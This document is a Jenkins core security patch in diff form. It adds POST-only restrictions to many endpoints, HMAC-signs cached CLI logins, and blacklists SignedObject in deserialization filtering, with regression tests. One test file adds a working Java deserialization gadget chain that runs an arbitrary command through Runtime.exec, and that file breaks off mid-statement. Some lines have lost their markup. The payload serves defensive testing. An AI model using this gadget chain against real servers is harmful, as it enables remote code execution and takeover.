diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 25c1b78d98..39a6dee83f 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -1296,6 +1296,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas return hudson.util.HttpResponses.okJSON(response); } + @RequirePOST public HttpResponse doUpdateSources(StaplerRequest req) throws IOException { Jenkins.getInstance().checkPermission(CONFIGURE_UPDATECENTER); @@ -1330,6 +1331,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas /** * Performs the installation of the plugins. */ + @RequirePOST public void doInstall(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); Set plugins = new LinkedHashSet<>(); diff --git a/core/src/main/java/hudson/cli/ClientAuthenticationCache.java b/core/src/main/java/hudson/cli/ClientAuthenticationCache.java index 16f11eb0ba..05e80bc515 100644 --- a/core/src/main/java/hudson/cli/ClientAuthenticationCache.java +++ b/core/src/main/java/hudson/cli/ClientAuthenticationCache.java @@ -1,5 +1,6 @@ package hudson.cli; +import com.google.common.annotations.VisibleForTesting; import hudson.FilePath; import hudson.remoting.Channel; import hudson.util.Secret; @@ -17,6 +18,9 @@ import java.io.InputStream; import java.io.OutputStream; import java.io.Serializable; import java.util.Properties; +import java.util.logging.Level; +import java.util.logging.Logger; +import jenkins.security.HMACConfidentialKey; /** * Represents the authentication credential store of the CLI client. @@ -31,6 +35,10 @@ import java.util.Properties; */ @Deprecated public class ClientAuthenticationCache implements Serializable { + + private static final HMACConfidentialKey MAC = new HMACConfidentialKey(ClientAuthenticationCache.class, "MAC"); + private static final Logger LOGGER = Logger.getLogger(ClientAuthenticationCache.class.getName()); + /** * Where the store should be placed. */ @@ -39,7 +47,8 @@ public class ClientAuthenticationCache implements Serializable { /** * Loaded contents of the store. */ - private final Properties props = new Properties(); + @VisibleForTesting + final Properties props = new Properties(); public ClientAuthenticationCache(Channel channel) throws IOException, InterruptedException { store = (channel==null ? FilePath.localChannel : channel).call(new MasterToSlaveCallable() { @@ -66,12 +75,32 @@ public class ClientAuthenticationCache implements Serializable { */ public Authentication get() { Jenkins h = Jenkins.getActiveInstance(); - Secret userName = Secret.decrypt(props.getProperty(getPropertyKey())); - if (userName==null) return Jenkins.ANONYMOUS; // failed to decrypt + String val = props.getProperty(getPropertyKey()); + if (val == null) { + LOGGER.finer("No stored CLI authentication"); + return Jenkins.ANONYMOUS; + } + Secret oldSecret = Secret.decrypt(val); + if (oldSecret != null) { + LOGGER.log(Level.FINE, "Ignoring insecure stored CLI authentication for {0}", oldSecret.getPlainText()); + return Jenkins.ANONYMOUS; + } + int idx = val.lastIndexOf(':'); + if (idx == -1) { + LOGGER.log(Level.FINE, "Ignoring malformed stored CLI authentication: {0}", val); + return Jenkins.ANONYMOUS; + } + String username = val.substring(0, idx); + if (!MAC.checkMac(username, val.substring(idx + 1))) { + LOGGER.log(Level.FINE, "Ignoring stored CLI authentication due to MAC mismatch: {0}", val); + return Jenkins.ANONYMOUS; + } try { - UserDetails u = h.getSecurityRealm().loadUserByUsername(userName.getPlainText()); + UserDetails u = h.getSecurityRealm().loadUserByUsername(username); + LOGGER.log(Level.FINER, "Loaded stored CLI authentication for {0}", username); return new UsernamePasswordAuthenticationToken(u.getUsername(), "", u.getAuthorities()); } catch (AuthenticationException | DataAccessException e) { + LOGGER.log(Level.FINE, "Stored CLI authentication did not correspond to a valid user: " + username, e); return Jenkins.ANONYMOUS; } } @@ -79,10 +108,11 @@ public class ClientAuthenticationCache implements Serializable { /** * Computes the key that identifies this Hudson among other Hudsons that the user has a credential for. */ - private String getPropertyKey() { + @VisibleForTesting + String getPropertyKey() { String url = Jenkins.getActiveInstance().getRootUrl(); if (url!=null) return url; - return Secret.fromString("key").toString(); + return Secret.fromString("key").getEncryptedValue(); } /** @@ -94,7 +124,8 @@ public class ClientAuthenticationCache implements Serializable { // make sure that this security realm is capable of retrieving the authentication by name, // as it's not required. UserDetails u = h.getSecurityRealm().loadUserByUsername(a.getName()); - props.setProperty(getPropertyKey(), Secret.fromString(u.getUsername()).getEncryptedValue()); + String username = u.getUsername(); + props.setProperty(getPropertyKey(), username + ":" + MAC.mac(username)); save(); } @@ -107,7 +138,8 @@ public class ClientAuthenticationCache implements Serializable { save(); } - private void save() throws IOException, InterruptedException { + @VisibleForTesting + void save() throws IOException, InterruptedException { try (OutputStream os = store.write()) { props.store(os, "Credential store"); } diff --git a/core/src/main/java/hudson/model/AbstractBuild.java b/core/src/main/java/hudson/model/AbstractBuild.java index 857934d6d8..5e1b4e5fc2 100644 --- a/core/src/main/java/hudson/model/AbstractBuild.java +++ b/core/src/main/java/hudson/model/AbstractBuild.java @@ -1347,6 +1347,7 @@ public abstract class AbstractBuild

,R extends Abs * Use {@link #doStop()} */ @Deprecated + @RequirePOST // #doStop() should be preferred, but better to be safe public void doStop(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { doStop().generateResponse(req,rsp,this); } diff --git a/core/src/main/java/hudson/model/AbstractItem.java b/core/src/main/java/hudson/model/AbstractItem.java index 5f9f6c84db..1c3221c821 100644 --- a/core/src/main/java/hudson/model/AbstractItem.java +++ b/core/src/main/java/hudson/model/AbstractItem.java @@ -524,6 +524,7 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet /** * Accepts the new description. */ + @RequirePOST public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException { checkPermission(CONFIGURE); diff --git a/core/src/main/java/hudson/model/AbstractProject.java b/core/src/main/java/hudson/model/AbstractProject.java index 2b7b5b12b4..995b584cb8 100644 --- a/core/src/main/java/hudson/model/AbstractProject.java +++ b/core/src/main/java/hudson/model/AbstractProject.java @@ -792,6 +792,7 @@ public abstract class AbstractProject

,R extends A } @Override + @RequirePOST public void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException { super.doConfigSubmit(req,rsp); diff --git a/core/src/main/java/hudson/model/ComputerSet.java b/core/src/main/java/hudson/model/ComputerSet.java index b907420b58..5dbadb9219 100644 --- a/core/src/main/java/hudson/model/ComputerSet.java +++ b/core/src/main/java/hudson/model/ComputerSet.java @@ -201,6 +201,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl return Jenkins.getInstance().getComputer(token); } + @RequirePOST public void do_launchAll(StaplerRequest req, StaplerResponse rsp) throws IOException { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); @@ -216,6 +217,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl * * TODO: ajax on the client side to wait until the update completion might be nice. */ + @RequirePOST public void doUpdateNow( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); @@ -232,6 +234,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl /** * First check point in creating a new agent. */ + @RequirePOST public synchronized void doCreateItem( StaplerRequest req, StaplerResponse rsp, @QueryParameter String name, @QueryParameter String mode, @QueryParameter String from ) throws IOException, ServletException { @@ -281,6 +284,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl /** * Really creates a new agent. */ + @RequirePOST public synchronized void doDoCreateItem( StaplerRequest req, StaplerResponse rsp, @QueryParameter String name, @QueryParameter String type ) throws IOException, ServletException, FormException { diff --git a/core/src/main/java/hudson/model/DownloadService.java b/core/src/main/java/hudson/model/DownloadService.java index d7fda884aa..ad26b130ae 100644 --- a/core/src/main/java/hudson/model/DownloadService.java +++ b/core/src/main/java/hudson/model/DownloadService.java @@ -57,6 +57,7 @@ import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Service for plugins to periodically retrieve update data files @@ -370,6 +371,7 @@ public class DownloadService extends PageDecorator { /** * This is where the browser sends us the data. */ + @RequirePOST public void doPostBack(StaplerRequest req, StaplerResponse rsp) throws IOException { DownloadSettings.checkPostBackAccess(); long dataTimestamp = System.currentTimeMillis(); diff --git a/core/src/main/java/hudson/model/Hudson.java b/core/src/main/java/hudson/model/Hudson.java index 02b9d949a8..db063b952c 100644 --- a/core/src/main/java/hudson/model/Hudson.java +++ b/core/src/main/java/hudson/model/Hudson.java @@ -41,6 +41,7 @@ import org.kohsuke.stapler.QueryParameter; import org.kohsuke.stapler.Stapler; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; import javax.servlet.ServletContext; import javax.servlet.ServletException; @@ -171,6 +172,7 @@ public class Hudson extends Jenkins { * Use {@link #doQuietDown()} instead. */ @Deprecated + @RequirePOST public synchronized void doQuietDown(StaplerResponse rsp) throws IOException, ServletException { doQuietDown().generateResponse(null, rsp, this); } diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index 516d948a1c..c2ebb7be57 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -2153,6 +2153,7 @@ public abstract class Run ,RunT extends Run,RunT extends Run * This can be run by anyone, but only to create the very first user account. */ + @RequirePOST public void doCreateFirstAccount(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { if(hasSomeUser()) { rsp.sendError(SC_UNAUTHORIZED,"First user was already created"); diff --git a/core/src/main/java/jenkins/install/SetupWizard.java b/core/src/main/java/jenkins/install/SetupWizard.java index f1df4e0e16..18cb688307 100644 --- a/core/src/main/java/jenkins/install/SetupWizard.java +++ b/core/src/main/java/jenkins/install/SetupWizard.java @@ -62,6 +62,7 @@ import net.sf.json.JSONObject; import org.apache.commons.io.FileUtils; import org.apache.commons.io.IOUtils; import org.kohsuke.accmod.restrictions.DoNotUse; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * A Jenkins instance used during first-run to provide a limited set of services while @@ -218,6 +219,7 @@ public class SetupWizard extends PageDecorator { /** * Called during the initial setup to create an admin user */ + @RequirePOST public void doCreateAdminUser(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException { Jenkins j = Jenkins.getInstance(); j.checkPermission(Jenkins.ADMINISTER); diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 606f452a43..ac6b846dcd 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -106,6 +106,7 @@ import hudson.model.listeners.ItemListener; import hudson.model.listeners.SCMListener; import hudson.model.listeners.SaveableListener; import hudson.remoting.Callable; +import hudson.remoting.ClassFilter; import hudson.remoting.LocalChannel; import hudson.remoting.VirtualChannel; import hudson.scm.RepositoryBrowser; @@ -250,6 +251,7 @@ import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; +import java.lang.reflect.Field; import java.net.BindException; import java.net.HttpURLConnection; import java.net.URL; @@ -285,6 +287,7 @@ import java.util.concurrent.atomic.AtomicBoolean; import java.util.logging.Level; import java.util.logging.LogRecord; import java.util.logging.Logger; +import java.util.regex.Pattern; import static hudson.Util.*; import static hudson.init.InitMilestone.*; @@ -899,6 +902,28 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve adjuncts = new AdjunctManager(servletContext, pluginManager.uberClassLoader,"adjuncts/"+SESSION_HASH, TimeUnit2.DAYS.toMillis(365)); + // TODO pending move to standard blacklist, or API to append filter + if (System.getProperty(ClassFilter.FILE_OVERRIDE_LOCATION_PROPERTY) == null) { // not using SystemProperties since ClassFilter does not either + try { + Field blacklistPatternsF = ClassFilter.DEFAULT.getClass().getDeclaredField("blacklistPatterns"); + blacklistPatternsF.setAccessible(true); + Object[] blacklistPatternsA = (Object[]) blacklistPatternsF.get(ClassFilter.DEFAULT); + boolean found = false; + for (int i = 0; i < blacklistPatternsA.length; i++) { + if (blacklistPatternsA[i] instanceof Pattern) { + blacklistPatternsA[i] = Pattern.compile("(" + blacklistPatternsA[i] + ")|(java[.]security[.]SignedObject)"); + found = true; + break; + } + } + if (!found) { + throw new Error("no Pattern found among " + Arrays.toString(blacklistPatternsA)); + } + } catch (NoSuchFieldException | IllegalAccessException x) { + throw new Error("Unexpected ClassFilter implementation in bundled remoting.jar: " + x, x); + } + } + // initialization consists of ... executeReactor( is, pluginManager.initTasks(is), // loading and preparing plugins @@ -1269,6 +1294,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve return Jenkins.getSlaveAgentPortInitialValue(slaveAgentPort); } + @RequirePOST public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { j.forceSetSlaveAgentPort(getExpectedPort()); rsp.sendRedirect2(req.getContextPath() + "/manage"); @@ -3604,6 +3630,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Accepts submission from the configuration page. */ + @RequirePOST public synchronized void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException { BulkChange bc = new BulkChange(this); try { @@ -3691,7 +3718,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve getPrimaryView().doSubmitDescription(req, rsp); } - @RequirePOST // TODO does not seem to work on _either_ overload! + @RequirePOST public synchronized HttpRedirect doQuietDown() throws IOException { try { return doQuietDown(false,0); @@ -3747,6 +3774,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Backward compatibility. Redirect to the thread dump. */ + // TODO annotate @GET once baseline includes Stapler version XXX public void doClassicThreadDump(StaplerResponse rsp) throws IOException, ServletException { rsp.sendRedirect2("threadDump"); } @@ -3984,10 +4012,12 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Do a finger-print check. */ + @RequirePOST public void doDoFingerprintCheck( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException { // Parse the request try (MultipartFormDataParser p = new MultipartFormDataParser(req)) { if (isUseCrumbs() && !getCrumbIssuer().validateCrumb(req, p)) { + // TODO investigate whether this check can be removed rsp.sendError(HttpServletResponse.SC_FORBIDDEN, "No crumb found"); } rsp.sendRedirect2(req.getContextPath()+"/fingerprint/"+ @@ -4076,10 +4106,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve return; } - restart(); + if (req == null || req.getMethod().equals("POST")) { + restart(); + } - if (rsp != null) // null for CLI - rsp.sendRedirect2("."); + rsp.sendRedirect2("."); } /** @@ -4095,7 +4126,9 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve if (req != null && req.getMethod().equals("GET")) return HttpResponses.forwardToView(this,"_safeRestart.jelly"); - safeRestart(); + if (req == null || req.getMethod().equals("POST")) { + safeRestart(); + } return HttpResponses.redirectToDot(); } @@ -4763,6 +4796,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve } @Override + @RequirePOST public void doConfigSubmit(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, FormException { Jenkins.getInstance().doConfigExecutorsSubmit(req, rsp); } diff --git a/core/src/main/java/jenkins/security/ApiTokenProperty.java b/core/src/main/java/jenkins/security/ApiTokenProperty.java index 34fe62ebb4..dd64d0e9d0 100644 --- a/core/src/main/java/jenkins/security/ApiTokenProperty.java +++ b/core/src/main/java/jenkins/security/ApiTokenProperty.java @@ -50,6 +50,7 @@ import javax.annotation.Nonnull; import org.apache.commons.lang.StringUtils; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Remembers the API token for this user, that can be used like a password to login. @@ -178,6 +179,7 @@ public class ApiTokenProperty extends UserProperty { return new ApiTokenProperty(API_KEY_SEED.mac(user.getId())); } + @RequirePOST public HttpResponse doChangeToken(@AncestorInPath User u, StaplerResponse rsp) throws IOException { ApiTokenProperty p = u.getProperty(ApiTokenProperty.class); if (p==null) { diff --git a/core/src/main/java/jenkins/tools/GlobalToolConfiguration.java b/core/src/main/java/jenkins/tools/GlobalToolConfiguration.java index 209c4a1b72..cb08b7f618 100644 --- a/core/src/main/java/jenkins/tools/GlobalToolConfiguration.java +++ b/core/src/main/java/jenkins/tools/GlobalToolConfiguration.java @@ -38,6 +38,7 @@ import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; import javax.servlet.ServletException; import java.io.IOException; @@ -73,6 +74,7 @@ public class GlobalToolConfiguration extends ManagementLink { return Jenkins.ADMINISTER; } + @RequirePOST public synchronized void doConfigure(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, Descriptor.FormException { boolean result = configure(req, req.getSubmittedForm()); LOGGER.log(Level.FINE, "tools saved: "+result); diff --git a/core/src/main/resources/hudson/model/ComputerSet/index.jelly b/core/src/main/resources/hudson/model/ComputerSet/index.jelly index 22a8f39e34..e461bae506 100644 --- a/core/src/main/resources/hudson/model/ComputerSet/index.jelly +++ b/core/src/main/resources/hudson/model/ComputerSet/index.jelly @@ -96,7 +96,7 @@ THE SOFTWARE.

-
+
diff --git a/core/src/main/resources/hudson/model/Run/logKeep.jelly b/core/src/main/resources/hudson/model/Run/logKeep.jelly index 10175e3aa4..19ccd4820f 100644 --- a/core/src/main/resources/hudson/model/Run/logKeep.jelly +++ b/core/src/main/resources/hudson/model/Run/logKeep.jelly @@ -28,7 +28,7 @@ THE SOFTWARE. -
+ diff --git a/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java b/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java new file mode 100644 index 0000000000..ee1a2688fe --- /dev/null +++ b/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java @@ -0,0 +1,128 @@ +/* + * The MIT License + * + * Copyright 2017 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package hudson.cli; + +import com.google.common.collect.Lists; +import hudson.Launcher; +import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; +import hudson.util.Secret; +import hudson.util.StreamTaskListener; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.util.Arrays; +import java.util.List; +import java.util.logging.Level; +import javax.annotation.CheckForNull; +import jenkins.model.JenkinsLocationConfiguration; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.output.TeeOutputStream; +import static org.hamcrest.Matchers.containsString; +import org.junit.Test; +import static org.junit.Assert.*; +import org.junit.Ignore; +import org.junit.Rule; +import org.junit.rules.TemporaryFolder; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.LoggerRule; + +public class ClientAuthenticationCacheTest { + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @Rule + public TemporaryFolder tmp = new TemporaryFolder(); + + @Rule + public LoggerRule logging = new LoggerRule().record(ClientAuthenticationCache.class, Level.FINER); + + @Issue("SECURITY-466") + @Test + public void login() throws Exception { + File jar = tmp.newFile("jenkins-cli.jar"); + FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar); + r.jenkins.setSecurityRealm(r.createDummySecurityRealm()); + r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy()); + assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i"); + assertCLI(0, null, jar, "login", "--username", "dev", "--password", "dev"); + try { + assertCLI(0, "Authenticated as: dev", jar, "who-am-i"); + ClientAuthenticationCache cache = new ClientAuthenticationCache(null); + String val = cache.props.getProperty(cache.getPropertyKey()); + assertNotNull(val); + System.err.println(val); + Secret s = Secret.decrypt(val); + if (s != null && s.getPlainText().equals("dev")) { + val = Secret.fromString("admin").getEncryptedValue(); + } + System.err.println(val); + val = val.replace("dev", "admin"); + System.err.println(val); + cache.props.put(cache.getPropertyKey(), val); + cache.save(); + assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i"); + } finally { + assertCLI(0, null, jar, "logout"); + } + } + + @Ignore("TODO fails unless CLICommand.main patched to replace (auth==Jenkins.ANONYMOUS) with (auth instanceof AnonymousAuthenticationToken), not just (Jenkins.ANONYMOUS.equals(auth)), since SecurityFilters.groovy sets userAttribute='anonymous,' so UserAttributeEditor.setAsText configures AnonymousProcessingFilter with a token with an empty authority which fails AbstractAuthenticationToken.equals") + @Test + public void overHttp() throws Exception { + File jar = tmp.newFile("jenkins-cli.jar"); + FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar); + r.jenkins.setSecurityRealm(r.createDummySecurityRealm()); + r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy()); + r.jenkins.setSlaveAgentPort(-1); + assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i"); + assertCLI(0, null, jar, "login", "--username", "admin", "--password", "admin"); + try { + assertCLI(0, "Authenticated as: admin", jar, "who-am-i"); + } finally { + assertCLI(0, null, jar, "logout"); + } + } + + @Test + public void getPropertyKey() throws Exception { + ClientAuthenticationCache cache = new ClientAuthenticationCache(null); + assertEquals(r.getURL().toString(), cache.getPropertyKey()); + JenkinsLocationConfiguration.get().setUrl(null); + String key = cache.getPropertyKey(); + assertTrue(key, Secret.decrypt(key) != null); + } + + private void assertCLI(int code, @CheckForNull String output, File jar, String... args) throws Exception { + List commands = Lists.newArrayList("java", "-jar", jar.getAbsolutePath(), "-s", r.getURL().toString(), "-noKeyAuth"); + commands.addAll(Arrays.asList(args)); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + assertEquals(code, new Launcher.LocalLauncher(StreamTaskListener.fromStderr()).launch().cmds(commands).stdout(new TeeOutputStream(System.out, baos)).stderr(System.err).join()); + if (output != null) { + assertThat(baos.toString(), containsString(output)); + } + } + +} diff --git a/test/src/test/java/jenkins/security/ApiTokenPropertyTest.java b/test/src/test/java/jenkins/security/ApiTokenPropertyTest.java index 4be11a0f32..f5e746d161 100644 --- a/test/src/test/java/jenkins/security/ApiTokenPropertyTest.java +++ b/test/src/test/java/jenkins/security/ApiTokenPropertyTest.java @@ -5,6 +5,8 @@ import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertSame; import static org.junit.Assert.assertTrue; +import com.gargoylesoftware.htmlunit.HttpMethod; +import com.gargoylesoftware.htmlunit.WebRequest; import com.gargoylesoftware.htmlunit.html.HtmlForm; import com.gargoylesoftware.htmlunit.html.HtmlPage; import hudson.Util; @@ -12,6 +14,7 @@ import hudson.model.User; import hudson.security.ACL; import hudson.security.ACLContext; import hudson.util.Scrambler; +import java.net.URL; import jenkins.model.Jenkins; import org.junit.Rule; import org.junit.Test; @@ -112,7 +115,17 @@ public class ApiTokenPropertyTest { // Make sure that Admin can reset a token of another user WebClient wc = createClientForUser("bar"); - HtmlPage res = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken"); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); + HtmlPage requirePOST = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken"); + assertEquals("method should not be allowed", 405, requirePOST.getWebResponse().getStatusCode()); + + wc.getOptions().setThrowExceptionOnFailingStatusCode(true); + WebRequest request = new WebRequest(new URL(j.getURL().toString() + foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken"), HttpMethod.POST); + wc.addCrumb(request); + HtmlPage res = wc.getPage(request); + + // TODO This nicer alternative requires https://github.com/jenkinsci/jenkins/pull/2268 or similar to work +// HtmlPage res = requirePOST.getPage().getForms().get(0).getElementsByAttribute("input", "type", "submit").get(0).click(); assertEquals("Update token response is incorrect", Messages.ApiTokenProperty_ChangeToken_SuccessHidden(), "
" + res.getBody().asText() + "
"); } diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index cfa0002d71..86d655a443 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -170,6 +170,13 @@ public class Security218CliTest { probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED); } + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-429") + public void jsonLibSignedObject() throws Exception { + probe(Payload.JsonLibSignedObject, PayloadCaller.EXIT_CODE_REJECTED); + } + private void probe(Payload payload, int expectedResultCode) throws Exception { File file = File.createTempFile("security-218", payload + "-payload"); File moved = new File(file.getAbsolutePath() + "-moved"); diff --git a/test/src/test/java/jenkins/security/security218/Payload.java b/test/src/test/java/jenkins/security/security218/Payload.java index a08186ba3d..2784effadf 100644 --- a/test/src/test/java/jenkins/security/security218/Payload.java +++ b/test/src/test/java/jenkins/security/security218/Payload.java @@ -47,6 +47,7 @@ public enum Payload { Spring1(Spring1.class), Spring2(Spring2.class), Ldap(Ldap.class), + JsonLibSignedObject(JsonLibSignedObject.class), ; private final Class payloadClass; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java new file mode 100644 index 0000000000..febc8cd339 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java @@ -0,0 +1,158 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.io.ObjectStreamException; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.Signature; +import java.security.SignedObject; +import java.util.Comparator; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.concurrent.ConcurrentSkipListSet; +import java.util.concurrent.CopyOnWriteArraySet; +import net.sf.json.JSONArray; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.collection.AbstractCollectionDecorator; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections.map.ReferenceMap; +import org.apache.commons.collections.set.ListOrderedSet; + +/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */ +public class JsonLibSignedObject implements ObjectPayload { + + @Override + public Object getObject(String cmd) throws Exception { + final String[] execArgs = new String[] { cmd }; + + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + execArgs), new ConstantTransformer(1) }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + f2.setAccessible(true); + Object[] array2 = (Object[]) f2.get(innimpl); + + Object node = array2[0]; + if (node == null) { + node = array2[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField( + "key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); + keyPairGenerator.initialize(1024); + KeyPair keyPair = keyPairGenerator.genKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + PublicKey publicKey = keyPair.getPublic(); + + Signature signature = Signature.getInstance(privateKey.getAlgorithm()); + SignedObject payload = new SignedObject(map, privateKey, signature); + JSONArray array = new JSONArray(); + + array.add("asdf"); + + ListOrderedSet set = new ListOrderedSet(); + Field f1 = AbstractCollectionDecorator.class + .getDeclaredField("collection"); + f1.setAccessible(true); + f1.set(set, array); + + DummyComperator comp = new DummyComperator(); + ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp); + csls.add(payload); + + CopyOnWriteArraySet a1 = new CopyOnWriteArraySet(); + CopyOnWriteArraySet a2 = new CopyOnWriteArraySet(); + + a1.add(set); + Container c = 